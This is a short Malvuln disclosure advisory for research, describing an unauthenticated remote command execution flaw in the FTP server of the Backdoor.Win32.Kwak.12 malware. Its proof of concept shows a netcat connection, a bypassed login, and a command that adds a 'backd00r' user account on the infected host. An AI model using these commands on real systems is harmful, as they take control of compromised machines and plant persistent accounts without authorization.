Backdoor.Win32.Kwak.12 Authentication Bypass / Code Execution

Backdoor.Win32.Kwak.12 malware suffers from bypass and code execution vulnerabilities.

MD5 | f2ab2d12fa3f59fb53e62ee77516a4fe

Discovery / credits: Malvuln - (c) 2021
Original source:
Contact: [email protected]

Threat: Backdoor.Win32.Kwak.12
Vulnerability: Remote Command Execution
Description: The backdoor runs an FTP server that listens on TCP port 37885. The malware is packed using UPX which is trivial to unpack by using upx -d command, after observe various FTP commands supported using strings util, we find one interesting string entry named "execute". Turns out this will let us execute any command on the infected machine. Third-party adversaries can add a persistent backdoor account on the infected system or run any command they wish. This is easily accomplished as the malware also suffers from a authentication bypass issue reference MVID-2021-0147.

execute cmd /c net user backd00r abc123 /add
226 Executing...

On the infected host.

net user

User accounts for \\DESKTOP-2X3IHHP
Administrator backd00r DefaultAccount

Type: PE32
MD5: c25393545e5ead3a35996ef9a887bd34
Vuln ID: MVID-2021-0149
Dropped files:
Disclosure: 03/25/2021

nc64.exe x.x.x.x 37885

USER malvuln
331 Password required for malvuln.
PASS root
230 User malvuln logged in.

execute cmd /c net user backd00r abc123 /add
226 Executing...

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